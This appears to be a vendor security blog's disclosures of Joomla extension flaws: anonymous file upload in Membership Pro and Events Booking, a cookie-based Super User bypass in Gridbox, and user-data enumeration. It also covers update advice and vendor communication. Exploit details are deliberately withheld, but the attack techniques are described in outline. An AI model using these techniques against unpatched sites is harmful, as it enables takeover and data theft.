Validation and abuse protection are added when File fields are in use. Sites that do collect uploads keep the feature, now with additional checks on what gets accepted. The email does not enumerate them, and without a changelog we are not going to guess at the specifics, but this mirrors the rate limiting, per-field permission checks and content validation JoomDonation added to Events Booking.
A cleanup tool removes files already left behind. The new tool deletes upload files with no matching subscription record, and a scheduled task can run it on a timer.

There is no version below 4.6.2 that is safe here. The fix is the update, and unlike a SQL injection there is no malicious payload for a web application firewall to recognise. The attack is an ordinary, well-formed upload request that the site is designed to answer. The only thing wrong with it is who sent it, and your firewall has no way to know that. Updating is the whole of the defence.

Run the cleanup tool after you update

Updating closes the door. It does not empty the room behind it.

Do this after you update

Membership Pro 4.6.2 ships a tool that finds and deletes every file in the upload folder with no matching subscription record.

Run it even if you are certain you were never a target. It is the only way to see what that endpoint accepted while it was open, and there is a scheduled task version so it keeps checking.

The vendor documents both the cleanup tool and the scheduled task, the latter with a retention window that defaults to 72 hours. The documentation defines an orphan file as one "upload by users but not associated to any subscription records", which is the vendor describing, in a help page written before any of this, a file that arrived on your server from somebody who never completed a subscription. If the tool finds nothing, that is good news you can only get by looking. If it finds files you do not recognise attached to no subscription, treat the site as having hosted content you did not put there, and work through our guide to finding hacked files and backdoors in Joomla before you assume it was harmless.

Almost nobody is on the fixed version

Here is the part of this story that worries us more than the flaw does, and it has nothing to do with how clever the bug is.

We can see Membership Pro installed on just over 440 Joomla sites across our customers' accounts. When we checked which versions those sites were running the day 4.6.2 shipped, we did not find a well-updated majority with a few stragglers behind it. We found this:

Version line	Share of installs
4.6.2 (the fix)	under 1%
4.6.0 or 4.6.1 (one or two releases behind)	~44%
4.x below 4.6	~32%
3.x or older	~23%

Read the top two rows together. Fewer than one install in a hundred had taken the fix, and the single most common version across every site was 4.6.1, the exact release 4.6.2 replaces. Nearly a quarter of installs were an entire major version or more behind, some of them still on 2.x and 1.6 builds that are years old.

This is the uncomfortable truth behind every quiet security release. A fix now exists that will reach approximately nobody, because the sites running this extension were already far behind before the update shipped, and this one arrived with nothing but an email telling customers it was not critical. If you manage Joomla sites and have not looked at your extension versions recently, that table is probably a description of your own portfolio. I have never met an administrator who decided 4.4.1 was good enough. What I have met is a lot of people for whom updating an extension means logging into each site's admin one at a time, a job that grows with every client, so it waits until something breaks.

How do I find every Membership Pro site I manage?

The awkward question after any extension security release is which of your sites actually run the thing. Up to about ten sites you can log into each Joomla admin and read the installed extensions list. Past that you need a single view, which is precisely why those version numbers get so old: the work of checking scales with the number of sites, so it stops happening.

mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Membership Pro once and get back every connected site running it, the version each one is on, and whether an update is available. That is the same query we ran to produce the version table above, and you can run it against your own sites in about ten seconds.

View every Membership Pro install across your sites

Open your Extension Inventory

Search for Membership Pro across every connected Joomla site and filter for anything below 4.6.2. Not a subscriber? Sign up free and connect your sites.

Once you know which sites need it, the mass updater handles the rollout. When a fix ships we add the affected range to our vulnerability database, so every connected site still on a version below 4.6.2 is flagged automatically. You can also enable auto-updates for any Joomla extension so the next fix like this one reaches your sites without you lifting a finger. You should not have to hear about a Joomla security release through a mailing list you might not be on, then audit a portfolio of client sites by hand to find out whether it is your problem.

What to do right now

Update every Joomla site running Membership Pro to 4.6.2 or later, one at a time or in bulk from one dashboard
Take a backup first. Before any extension update on a production site, trigger a snapshot or a full backup so you have a clean starting point
Run the cleanup tool after updating, to delete any unauthenticated upload files left behind, and consider the scheduled task version
If you are on a build several versions back, expect a real upgrade rather than a one-click patch, and test it somewhere other than production
Do not rely on a firewall for this one. There is no payload to filter, so there is nothing for it to block
If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand
If the cleanup tool finds files you cannot account for, treat the site as potentially compromised and follow our guide to fixing a hacked Joomla or WordPress site

Stay ahead of the next one

There will be another one, because Joomla runs on thousands of third-party extensions and the ones that accept anonymous input keep producing bugs like this. This is the second JoomDonation upload endpoint to be hardened in a week, and it will not be the last extension to close a hole like this with a reassuring email and no advisory of its own. The hard part was never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before someone else does.

That is the job mySites.guru does. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this is disclosed you see exactly which sites are exposed in seconds, without opening a single admin panel.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

Disclosure and severity

What we are and are not claiming

We did not discover or report the Membership Pro flaw. We reported the identical anonymous upload flaw in Events Booking, which carries CVE-2026-60024 and CVE-2026-60025. The Membership Pro issue is now tracked separately as CVE-2026-62415, assigned by the Joomla project's CNA and rated 9.1 critical (CVSS 3.1). This post reads across from our Events Booking audit and from JoomDonation's own 4.6.2 release email. One piece of nuance to that critical rating: on a default configuration the practical impact is anonymous file writes constrained to image and document types, which is serious but not a web shell. It rises to unauthenticated remote code execution only on a site whose allowed file types have been widened to include an executable type.

Field	Detail
Component	Membership Pro for Joomla (`com_osmembership`)
Vendor	JoomDonation / Ossolution (joomdonation.com)
Type	Unauthenticated file upload, enabled by default (CWE-434, classified CWE-1188 by the CVE)
CVE	CVE-2026-62415, assigned by the Joomla CNA, published 21 July 2026
CVSS	9.1 critical (CVSS 3.1, `AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:N`)
Impact	Anonymous file writes to the web server, on installs that were not using the upload feature
Affected versions	1.0 to 4.6.1
Fixed in	4.6.2, released 21 July 2026
Vendor record	No JoomDonation advisory or changelog entry of its own at time of writing
Related disclosure	Events Booking, same developer, same flaw class, reported by Phil Taylor of mySites.guru

Gridbox for Joomla: One Cookie and You Are a Super User

phil@mysites.guru (Phil Taylor) — Mon, 20 Jul 2026 13:00:00 GMT

Gridbox is a widely used drag-and-drop page builder for Joomla, built by Balbooa. It runs the front end of a lot of small business and agency sites, and on the sites we can see it is usually the thing the whole design depends on.

mySites.guru found a critical unauthenticated authentication bypass in Gridbox. Balbooa fixed it in Gridbox 2.20.1, released today, 20 July 2026. If you run Gridbox on any Joomla site, stop reading and go and update it.

Update, 10 August 2026: 2.20.1 is no longer the version to be on. Our full audit of Gridbox nine days after this post found 23 further vulnerabilities, several of them actively exploited, and every CVE record for that set lists 1.0.0 to 2.20.1 as affected. Balbooa has shipped 2.20.2, 2.20.2.2 and 2.20.2.3 since. Update to 2.20.2.3.

The flaw

Gridbox trusted a value supplied by the visitor's own browser as proof of who they were. Set it to an administrator's username and you were logged in as that user.

No password. No login form. No existing session. One anonymous request.

mySites.guru found this and reported it privately to Balbooa, copying the Joomla Security Strike Team. The fix is in Gridbox 2.20.1. We are withholding the exact cookie, the endpoint and any proof-of-concept. This is how we handle every vulnerability we find: fix first, publish second.

TL;DR

A critical unauthenticated authentication bypass in Gridbox let anyone become a Super User on a Joomla site by setting a single browser cookie
We confirmed it live: an anonymous request that returned nothing became a full administrator session, and Joomla itself recorded the user as logged in
A Joomla Super User can edit templates, which is PHP execution, so this is full site compromise, usually full server compromise, from one request
Balbooa asked us to test Gridbox. After our Balbooa Forms disclosure earlier this month they said they had reviewed and hardened their other products, sent us a package and invited us to look. This was in the build they sent
Fixed in 2.20.1, released 20 July 2026. The previous release was 2.20.0.2 in October 2025, so the vulnerable code shipped for at least nine months
The changelog entry is three words: "Critical authentication vulnerability". No affected versions, no impact, no urgency
No announcement on the Gridbox blog. The only place 2.20.1 appears there is in Balbooa's own asset URLs, because their own site is already running it
We were not told the release was coming, and were never asked to verify that the fix closed what we reported
Tracked as CVE-2026-61425, assigned through the Joomla CNA

What the flaw actually was

Authentication in a Joomla extension should come down to one question: has this person proved who they are? Gridbox answered a different question. It read a value out of the request that the visitor's own browser had supplied, took that value to be an identity, and acted on it.

Anything the browser sends is attacker-controlled. A cookie is not a credential, it is a note the visitor writes to themselves, and the only reason a session cookie means anything is that the server issued it and can recognise its own signature. A cookie whose plain value is a username has no such property. You can type it yourself.

So an anonymous visitor with no account could name an administrator and be treated as that administrator.

We confirmed it against a live Joomla install rather than reasoning about it from the source. A guest request to a gated endpoint returned nothing, as it should. The same request, with one cookie added, returned the administrator-only content in full, and Joomla's own session state recorded the visitor as logged in. That is not a permissions edge case or a theoretical weakness. It is account takeover of any user on the site, chosen by name.

On Joomla the ceiling is high, and it is worth being explicit about why this scores where it does. A Super User can edit template files from the administrator interface. Template files are PHP. So an authentication bypass that reaches Super User is a remote code execution chain, and from there the rest of the hosting account is usually reachable too. There is no configuration that makes this safe, no permission you could have set differently, and no firewall rule that helps, because the request is perfectly well formed and contains no payload to detect.

We are deliberately not publishing the cookie name, the endpoint or a proof-of-concept. The fix is out. The detail can wait.

Balbooa asked us to test it

This is the part of the story we did not expect, and it is only fair to Balbooa to tell it in the right order.

Earlier this month we found and disclosed an unauthenticated file upload flaw in Balbooa Forms, which became CVE-2026-56291. That one came to us through a hosting abuse report on a customer's live site, and Balbooa responded well: they took the report seriously and shipped a fix inside a day.

On 17 July, Balbooa came back to us unprompted. They thanked us for the earlier disclosure, said it had prompted them to review their other products, and told us they had already hardened Gridbox. Then they sent us a package and invited us to test it:

As a result, we've been reviewing the security of our other products as well. From what we understand, you use automated tools to identify potential vulnerabilities, so we took the opportunity to harden several areas in Gridbox that we believed could potentially be improved. If you have some time, we'd be interested to know whether your tools uncover anything we've missed.

That is a good instinct, and we want to say so clearly, because a vendor volunteering their code for review is rarer than it should be. We ran it the same day.

The authentication bypass was in the build they sent us as hardened. We reported it back within the hour, copying the Joomla Security Strike Team, and told them plainly that every site running the extension should be treated as compromiseable immediately.

Balbooa's reply was to ask us to quote for a paid security audit of Gridbox. We declined, because we have our hands full running mySites.guru, but we repeated that what we had already handed them had to be fixed straight away, asked to see a fixed build so we could verify it actually closed the hole, and offered to coordinate the disclosure and the CVE with them.

Three days later the fix shipped, and we found out from someone else.

The changelog, in full

Here is what a Gridbox administrator sees today. This is the entire public description of a flaw that hands anonymous visitors a Super User account:

The complete public record of the Gridbox authentication bypass, as published by the vendor on 20 July 2026.

Three words. "Critical authentication vulnerability."

We are not asking for a proof-of-concept in a changelog. Nobody sensible publishes exploit detail alongside a patch. But there is an enormous amount of room between an exploit and three words, and everything a site owner needs to make a decision lives in that space:

No affected version range. This is the single most important fact in any security release, and it is missing. A Gridbox administrator on 2.19 has no way to know whether this applies to them. Neither does one on 2.16, or 2.12. The version immediately before 2.20.1 was 2.20.0.2, released on 21 October 2025, which means the vulnerable code had been shipping for at least nine months and probably far longer. None of that is stated.

No description of impact. "Authentication vulnerability" covers everything from a session that expires too slowly to what actually happened here. A reader has no way to distinguish the two, so most will assume the mild version, because most vulnerabilities are the mild version.

No urgency. There is no "update immediately", no severity rating, no note that sites should be checked for compromise. The entry sits in the same visual style as "Incorrect time zone in the calendar" from the previous release.

Two more security fixes filed as features. Look at the Added section in that screenshot. Randomised server-side upload filenames, and CSRF protection on frontend file upload requests. Those are not features. They are the same two hardening measures we watched JoomDonation bolt onto Events Booking last week after an unauthenticated upload flaw, and they belong under Fixed with an explanation. Filed under Added, they read as improvements rather than as repairs to something that was wrong.

No announcement anywhere else

A changelog is a reference document. People read it when they already suspect something. For a critical flaw the vendor also has to push the information out, and Balbooa runs exactly the right channel for that: a Gridbox blog where they write about releases.

There is nothing there about this.

We checked the page on the day of release. The words "security", "vulnerability", "critical" and "authentication" do not appear on it at all. The only place the string 2.20.1 appears anywhere on that page is inside the cache-busting query strings on Balbooa's own stylesheets and scripts, which is its own small detail: their website is already running the patched version while their customers have been told nothing.

So the sum total of public communication about a Super User authentication bypass is three words in a document you have to already know to go and read.

What coordinated disclosure would have looked like

We wrote about this last week in the context of another vendor, and we would rather not make a habit of it, but the same gap has opened twice in a fortnight and it is worth being concrete about what was missing.

Coordinated disclosure is a documented process. ISO/IEC 29147 covers how a vendor should handle and publish vulnerability information, ISO/IEC 30111 covers the handling process behind it, and the CERT Guide to Coordinated Vulnerability Disclosure is the practitioner reference. They agree on the vendor's obligations, and four of them apply here.

Tell the reporter the release is coming. We asked to be kept in the loop and offered to coordinate. The release went out on 20 July and we learned about it from the Joomla Security Strike Team, not from Balbooa. There is no version of coordinated disclosure in which the reporter finds out from a third party.

Ask the reporter to verify the fix before you ship it. This is the step that protects the vendor, not the researcher. We explicitly asked for a fixed build so we could confirm the hole was actually closed, and were never sent one. We have not been able to verify 2.20.1 against what we reported. It looks right from the outside and we have no reason to think it is wrong, but nobody who found the flaw has checked the patch, and that is a risk Balbooa did not need to take. The fix for an authentication bypass is exactly the kind of change that can be almost right.

Publish an advisory a customer can act on. An affected version range, a severity, an impact description and an instruction. This costs one paragraph.

Agree the disclosure timing once, in advance. Fix a date with the reporter, publish together, request the CVE. Instead the patch went out unannounced, which starts the clock anyway, because anyone can now compare 2.20.0.2 with 2.20.1 and find the change. A silent security release does not buy quiet. It buys a head start for whoever is diffing releases, and leaves defenders reading three words.

None of this requires a security team or a budget. It is an email to the person who reported it and a paragraph on a blog.

What you should do right now

Update today, not this week

Every Joomla site running Gridbox below 2.20.1 should be treated as trivially compromiseable by anyone who knows the trick.

The patch is public, so the flaw can be recovered by comparing two releases. There is no mitigating configuration and no firewall rule that helps.

Update Gridbox to 2.20.1 on every Joomla site you manage. Joomla's Extensions updater will offer it, or download it from your Balbooa account.
Take a backup first, as with any extension update on a production site. If you use mySites.guru, trigger a snapshot so you have a clean point to return to.
Check for compromise on any site that has been running an affected version. This is an authentication bypass, so the thing to look for is what an attacker does after logging in: unexpected Super User accounts, recently modified template files, and administrator logins you cannot account for. Our guides to finding hacked files and backdoors and fixing a hacked Joomla site cover the process.
Rotate credentials on any site you have reason to worry about, and treat the Joomla secret as exposed if the site was reachable and busy.
Do not wait for formalities. The flaw is now tracked as CVE-2026-61425, but the fix already exists and the patch is public. Update regardless of any advisory catching up.

Which versions are affected?

We confirmed the bypass in 2.20.0.1, which is the build Balbooa sent us. Being straight about the limits of that: we tested one version, and the vendor has published no affected range, so we cannot tell you when the flawed code first appeared.

What we can tell you is that the release immediately before the fix was 2.20.0.2, dated 21 October 2025. Nine months of releases separate those two entries, which means the vulnerable code was in the shipping product for at least that long.

Treat every Gridbox below 2.20.1 as affected. The fixed version for this flaw is 2.20.1.

That was true on the day, and it is out of date now: the audit that followed found 23 more vulnerabilities affecting everything up to and including 2.20.1. The current release is 2.20.2.3.

Across the Joomla sites connected to mySites.guru we can see the Gridbox component on 447 sites. At the time of writing 244 of those are still on 2.20.0.2, the last release before the fix, and only 137 have picked up 2.20.1. That split is why the missing announcement matters: the update exists, and most sites have no idea they need it.

How do I find every Gridbox site I manage?

mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Gridbox once and get back every connected site running it, the version each one is on, and whether an update is available. That is the same query that produced the numbers above.

View every Gridbox install across your sites

Open your Extension Inventory

Search for Gridbox across every connected Joomla site and filter for anything below 2.20.1. Not a subscriber? Sign up free and connect your sites.

When a fix ships we add the affected range to our vulnerability database, so every connected site still on a vulnerable version of Gridbox is flagged automatically, and the mass updater pushes the update to all of them from one screen.

Credit where it is due

We have been hard on the communications here, so it is worth separating them from everything else.

Balbooa did something most vendors never do: after taking one disclosure on the chin they went looking for problems in their other products, and then invited an outside party to test the result. That instinct is genuinely good, and the fix itself arrived in three days, which is fast by any standard in this ecosystem.

The bug is also an ordinary kind of mistake. Trusting a value from the request is the oldest error in web authentication, and it is in a great deal of shipped code written by people who know better.

What let this down was everything after the fix was written. The patch went out without telling the person who reported it, without anyone verifying it closed the hole, described in three words, with no affected versions and no announcement. A good engineering response and a poor communications response are different things, and only one of them was the problem here.

Stay ahead of the next one

There will be another one. Joomla runs on thousands of third-party extensions, and the ones that touch authentication or accept anonymous input keep producing findings like this. The hard part was never the update. It is knowing a fix exists at all, which in this case the vendor has made unusually difficult, then knowing which of your sites are affected and getting to them first.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

Disclosure and Severity

10.0 CVSS 4.0

Critical Our own assessment; tracked as CVE-2026-61425 via the Joomla CNA

Unauthenticated, exploitable over the internet in a single request, with no user interaction, yielding a Super User account. On Joomla that reaches PHP execution through template editing, so confidentiality, integrity and availability all fall, for the site and usually for the hosting account behind it.

No login needed Single request Full Super User takeover Leads to code execution No firewall mitigation

Field	Detail
Extension	Gridbox for Joomla (`com_gridbox`)
Vendor	Balbooa (balbooa.com)
Type	Authentication bypass using an attacker-controlled value (CWE-290, CWE-565)
CVSS 4.0	10.0 (Critical), our own assessment. The published CVE record scores it 9.4 on a vector requiring high privileges, which does not match what we reproduced. See the note below
CVE	CVE-2026-61425 (assigned via the Joomla CNA). The published record gives the affected range as "< 1.6.0". See the note below
Impact	Unauthenticated takeover of any account, including Super User, leading to code execution
Confirmed in	2.20.0.1
Affected versions	Not published by the vendor. Treat everything below 2.20.1 as affected
Fixed in	2.20.1, released 20 July 2026
Finder	Phil Taylor, mySites.guru

Date	Event
9 July 2026	Balbooa ships the fix for the unrelated Balbooa Forms file upload flaw, later CVE-2026-56291, reported by mySites.guru.
17 July 2026	Balbooa contacts mySites.guru unprompted, says the earlier report prompted a review of their other products, states that Gridbox has been hardened, and sends a package with an invitation to test it.
17 July 2026	mySites.guru tests the supplied build and finds the critical authentication bypass in it. The finding is reported back to Balbooa the same day, copying the Joomla Security Strike Team, with the advice that every site running the extension should be treated as compromiseable.
17 July 2026	Balbooa acknowledges the report and asks mySites.guru to quote for a paid security audit of Gridbox.
20 July 2026	mySites.guru declines the paid audit, restates that the reported flaw must be fixed immediately, asks for a fixed build in order to verify it, and offers to coordinate the disclosure and the CVE.
20 July 2026	Balbooa publishes Gridbox 2.20.1 containing the fix, without notifying mySites.guru and without asking for the fix to be verified. mySites.guru learns of the release from the Joomla Security Strike Team. The changelog describes it as "Critical authentication vulnerability" with no affected version range. No announcement is published on the Gridbox blog.
20 July 2026	The Joomla CNA assigns CVE-2026-61425 for the authentication bypass. mySites.guru adds the affected range to its Joomla vulnerability database so every connected site below 2.20.1 is flagged, and publishes this write-up without a proof-of-concept.

A note on the published CVE record

The record for CVE-2026-61425 has since published, and two fields in it do not match what we reported and reproduced.

It describes the issue as an "authenticated bypass" and scores it 9.4 Critical on a CVSS 4.0 vector carrying PR:H, meaning high privileges are needed before the attack works. We reproduced it with no account and no session at all: one cookie on an anonymous request returned a Super User session. On our reading the vector is PR:N, which is what takes the score to 10.0.

The record also gives the affected range as "Gridbox < 1.6.0". We confirmed the flaw in 2.20.0.1, and Balbooa fixed it in 2.20.1, so that range excludes every version we actually tested, including the one the vendor patched.

We are keeping our own account here because we proved it live. If you are deciding what to do about a Gridbox install, use the versions in this post rather than the range in the record.

Events Booking for Joomla: Anyone Could Upload Files to Your Server

phil@mysites.guru (Phil Taylor) — Mon, 20 Jul 2026 11:00:00 GMT

Events Booking is one of the most widely used event registration and ticketing components for Joomla. It runs conference sign-ups, class bookings and ticket sales, which means the accounts on the site belong to real attendees who handed over their details to book something. During routine security research on the extensions our customers rely on, mySites.guru found two unauthenticated vulnerabilities in Events Booking and reported them privately to JoomDonation.

Finding one

Simply having Events Booking installed meant any anonymous visitor could upload files to your web server.

No account, no login, no CSRF token, enabled by default on every install.

Secondly, an access control flaw that returned any user's name and email address to anyone who asked for it by user ID.

If you run Events Booking on any Joomla site, update to 5.8.1 now, not 5.8.0. On Joomla 3 the fixed version is 4.9.5, which is not in the public downloads area.

mySites.guru discovered these issues and reported them privately to JoomDonation, copying the Joomla Security Strike Team. Fixes shipped in Events Booking 5.8.0 and 5.8.1. We are withholding the exact requests and any proof-of-concept while site owners update. This is how we handle every vulnerability we find: fix first, publish second.

TL;DR

Anyone could upload files to your server. A front-end endpoint accepted uploads from anonymous visitors with no login and no CSRF token, enabled by default on every install. The vendor has confirmed the default in writing
And the site serves it back out again. For image extensions the matching download endpoint had no login check either, and filenames were not randomised, so an attacker uploaded under a name they chose and then fetched it from a URL they already knew. Anonymous in, anonymous out: a working file hosting service on your domain
That is your name on the hosting contract. Free anonymous storage attracts pirated media, phishing kits, malware staged for other attacks, and illegal imagery, all served from your domain and billed to you. We have seen this arrive as a hosting abuse report before
Customers were emailed that it is "a security improvement rather than a vulnerability" on 20 July, three days after the Joomla CNA assigned it a CVE
Anyone could read every user's name and email. A second public endpoint returned a user's first name, last name and email address as JSON for any user ID handed to it, with no ownership check. Count up through the IDs and you have the whole user table
The vendor told us repeatedly that the upload was not a security issue. The Joomla CNA assigned it CVE-2026-60024 regardless, describing it in those exact terms
Then came the fixes for the non-issue the developer stated did not exist. Funny, that. Across 5.8.0 and 5.8.1 that endpoint gained a CSRF token, a per-field permission check, per-session and per-minute rate limits, folder size and file count caps, real image content validation, randomised filenames and an admin tool to clean up the files it had already accepted
We were then asked, more than once, to keep quiet about it, each time after a release had shipped and, on the second occasion, after every customer had already been emailed
5.8.1 is the version to be on. 5.8.0 closed the two reported flaws; 5.8.1 is where the upload hardening actually happened
Two different packages shipped as "5.8.0". The vendor rebuilt it mid-afternoon on 15 July without changing the version number, so updating early got you the weaker build with no way to tell
Joomla 3 users need 4.9.5, which is not in the public downloads area. Configure a Download ID and use Joomla's updater, or open a support ticket
Three CVEs assigned via the Joomla CNA: CVE-2026-58149, CVE-2026-60024, CVE-2026-60025, all crediting Phil Taylor of mySites.guru
Across the Events Booking installs we can see on our customers' sites, not one was running the current release, and roughly three quarters were a whole major version behind

Finding one: anonymous file upload, on by default

Events Booking supports File custom fields, so an event organiser can ask registrants to attach something during sign-up: a photo, a signed waiver, a proof of eligibility. The upload runs over an AJAX endpoint on the front end.

In Events Booking 5.7.1 and earlier, that endpoint had no login check and no CSRF token. It took whatever file it was given, checked the extension against the configured attachment allow-list, and wrote it into media/com_eventbooking/files. Crucially, it did not check whether the site was even asking for uploads. The endpoint was live on every install from the moment the component was present, whether or not the administrator had ever created a File field.

That last point is the vendor's own, given to the Joomla Security Strike Team on 17 July:

It was enabled by default in previous versions. From 5.8.0, it will only be enabled if admin creates custom field to allow registrants to upload file when they register for the event.

The Joomla CNA description of CVE-2026-60024 puts the same fact in the official record: "The Joomla extension Events Booking prior version 5.8.0 did by default allow unauthenticated users to upload media assets."

What that actually buys an attacker

The allow-list is what keeps this from being a critical finding. The shipped default is bmp|gif|jpg|png|swf|zip|doc|pdf|xls, which does not include a PHP extension. The extension check reads the last segment of the filename, Joomla's own filename sanitising is applied, and the usual double-extension and traversal tricks do not get through.

So on a default configuration this stops short of remote code execution. On a site whose administrator has widened the allow-list to include an executable type, which is unusual but not unheard of where sites accept unusual attachments, it becomes a straightforward unauthenticated remote code execution.

Read that default list again with an attacker's eyes rather than an event organiser's, though. zip, doc, xls and pdf are no threat to the server itself. They are close to ideal for distributing malware from a domain nobody has any reason to block, and doc and xls have been the standard carriers for macro payloads for twenty years.

This is not the file upload RCE we found in Balbooa Forms, PageBuilder CK or RSFiles!, and we are not going to pretend it is. It is a stranger with write access to your file system, which is quite bad enough.

The site will also serve it back for you

The upload is only half of it, and the other half is the part that turns a storage problem into a distribution problem.

Events Booking exposes a matching front-end endpoint that reads files back out of that same folder. In 5.8.0 and earlier its permission logic ran like this: if the filename ends in png, jpg, jpeg, gif or webp, the file is handed to whoever asked for it, with no login check at all. Only the other extensions fall through to the ownership and permission checks underneath.

That test was on the extension, never the contents. Before 5.8.1 nothing verified the file was actually an image, and nothing randomised the stored filename, so the attacker chose the name they uploaded under and therefore already knew the URL to fetch it back from. The endpoint even takes an inline parameter from the caller, so the attacker picks whether the browser displays the file or downloads it.

Both halves together

Before 5.8.1, Events Booking would accept a file from an anonymous stranger and then serve that same file back to the entire internet, at a filename the stranger chose, with nobody logged in at either end.

That is not a side effect of a file upload bug. It is a complete, working, anonymous file hosting service running on your domain and your bandwidth, which you did not know you were operating.

This does have a ceiling. The response declares a content type worked out from the extension, so a .jpg goes out as image/jpeg, and current browsers will not run a script out of that, which makes the direct cross-site scripting route weak. As free unattributable hosting on a reputable domain with a valid certificate, it works exactly as an abuser would want.

Both halves were tightened in 5.8.1: filenames are now randomised on upload, and the download path validates that a file really is an image before serving it inline.

A stranger with write access to your file system

Code execution is the loudest thing an unauthenticated upload buys an attacker, and treating it as the only one that counts is how this kind of finding gets waved through. The vendor's own changelog describes the risk as someone uploading files "to abuse server quota for some reasons". Server quota is the least of it.

What ends up in those folders is not theoretical. Pirated media and warez, because someone else is paying for the disk and the transfer. Phishing kits and fake login pages, which work far better when the URL is a genuine company domain than when it is a throwaway host. Malware and droppers staged for a different campaign entirely, so the attack on somebody else runs through your server. And illegal imagery, including sexual content and material involving children, parked somewhere the people trading it will not be traced.

I should be honest about the limits of that list. I am not a hacker. I do not think the way they think, and every time I have looked closely at a real compromise the actual use has been more inventive than anything I would have predicted. People who do this for a living are extremely good at finding free storage where they will not get caught, and they will find uses for your upload folder that have not occurred to me.

The part that matters for you is that all of it arrives with your name on it. You signed the hosting contract. The IP address, the domain and the billing details are yours. When the abuse report is written it is addressed to you, and hosts generally suspend first and investigate afterwards, which means the first thing you know about it may be a dead site and a support ticket. Beyond that sit domain and IP blocklisting, a payment processor taking an interest, and for the worst categories of content a set of legal obligations that are considerably more serious than a hosting suspension.

At the far end of that road is the police at your door, because a Joomla extension on your site let a stranger store illegal material on it. That can genuinely happen. It happens to ordinary small business websites run by people who did nothing reckless, because an open upload form on a real company domain is exactly the sort of place that content gets parked. The person who has to answer for it is whoever's name is on the domain, and "the form needed no login" is a poor opening line for that conversation.

The quiet part is that you will probably not notice on your own. Nothing errors. No page breaks. Files accumulate in a directory that nobody has any reason to open, attached to no registration, and the site carries on serving events exactly as it did before.

Do this after you update

5.8.1 ships a tool that finds and deletes every file in the upload folder with no matching registration record.

Run it even if you are certain you were never a target. It is the only way to see what that endpoint accepted while it was open, and there is a scheduled task version so it keeps checking.

Finding two: every user's name and email

The second endpoint is a textbook insecure direct object reference. Hand it a user ID and it returns that user's stored registration details. Where the person never registered for anything, the code falls back to loading the Joomla user account directly and returns their first name, last name and email address as JSON anyway.

Nothing in that path checked who was asking. No login check, no CSRF token, and critically no ownership check: the code never asked whether the requester was the user whose details were being returned. The component's own JavaScript only ever calls this endpoint for the currently logged-in user, so in normal use it looks harmless. The server never enforced what the browser assumed.

An attacker requests user ID 1, then 2, then 3, and keeps counting. Each request returns one person's name and email. There was no rate limit and no authentication, so a short script walks the entire user table in minutes.

The user ID is cast to an integer before it goes near the database, so there is no SQL injection here and no way to bend the query. This is purely an authorisation failure. The code asked the database a perfectly sensible question and handed the answer to the wrong person.

Why enumeration matters more than it sounds

"Names and email addresses" sounds like the mild end of a breach, and compared to a database of password hashes it is. That framing undersells it for three reasons.

The list is targeted, not random. These are the verified contact details of people who signed up on a specific site for a specific thing. An attacker who knows you booked onto a named event at a named organisation can write a phishing email that reads exactly like the follow-up you are expecting. That is worth far more than a bulk address list, and it prices accordingly.

It is a shopping list for the next attack. Enumeration is reconnaissance. Once an attacker has every username and email on a Joomla site, credential stuffing has real targets, password reset flows have real addresses to abuse, and the administrator accounts stand out immediately.

On an events site, the users are your customers. A leaked user table on a brochure site might be three staff logins.

This is a reportable data breach

On a busy Events Booking install it is every attendee who ever registered, which under the UK GDPR and the EU GDPR is personal data you are the controller of.

An unauthenticated stranger reading it is a personal data breach, and one you are expected to assess and potentially report to your regulator within 72 hours.

Note

Enumeration leaves almost no trace. The requests are ordinary GET requests to index.php that return a normal 200 response, so in an access log they look like a visitor browsing the site quickly. There is usually no error, no alert and nothing in the Joomla logs. If you are wondering whether anyone did this to your site, the honest answer for most sites is that you cannot tell from the logs alone.

"To me, this is not really a security issue"

Part of deciding whether to trust an extension is watching what the vendor does when someone hands them a security problem. On the enumeration flaw JoomDonation moved fast and added the missing permission check without argument, and they deserve credit for that.

The upload went differently.

The vendor's position, held across several days and multiple emails, was that the finding was invalid. The argument was that because the endpoint is meant to be public, a CSRF token adds nothing:

The point here is this is public end point to allow public users (registrants) to upload files while they register for event. It is not something restricted for admin, so it is not necessary for attackers to use to use an external site to perform upload.

And again, thirteen minutes later:

I wonder why someone has to use an external site malicious website website to make a request like that for a public accessible form? What prevent them from make request directly to that public form?

We quote these exactly as written, duplicated words included. English is not the developer's first language and we are not making a point about the phrasing. The point is the position, which was maintained clearly and consistently: this is public, therefore a token is pointless, therefore there is no bug.

The Joomla Security Strike Team, copied on the thread throughout, disagreed on the record:

I disagree with your assessment on the CSRF issue: a file upload is a mutating operation and should be protected with a CSRF token check. Otherwise, I could trick a site admin on an external site to submit a form and having that form targeted to the website that the admin is managing. If the admin has an active session, the upload will be performed.

When the vendor pushed back a second time, the JSST reply opened: "You are wrong :)", followed by a step-by-step walkthrough of what cross-site request forgery actually is.

The objection misses what the token is for. It stops a third-party site from making your visitors upload files without their knowledge, which is a different attack from an attacker calling the endpoint directly. Both are real. Fixing one does not answer the other. And neither addresses the bigger problem, which was never the token: it was that the endpoint accepted files from strangers at all, on every install, by default.

The 5.8.0 announcement, as originally published, put the vendor's view in writing: "To me, this is not really a security issue, but since it is reported, I have it fixed/improved anyway." The same announcement, a few lines earlier, described the release as fixing "two medium security issues". Both statements cannot be true at once. That sentence, along with a claim that the first issue had been fixed before we reported it, was removed from the announcement three minutes after we put the two quotes to the vendor and said they were wrong. No correction note was added. We screenshotted the original beforehand, which is the only reason this paragraph can be written.

For the record, the Joomla CNA settled the question independently. It assigned CVE-2026-60024 for the default anonymous upload and CVE-2026-60025 for the missing CSRF token. Two CVEs, for the thing that was not really a security issue.

The position held in public, too. On the changelog thread, after the fixes had shipped, the vendor wrote:

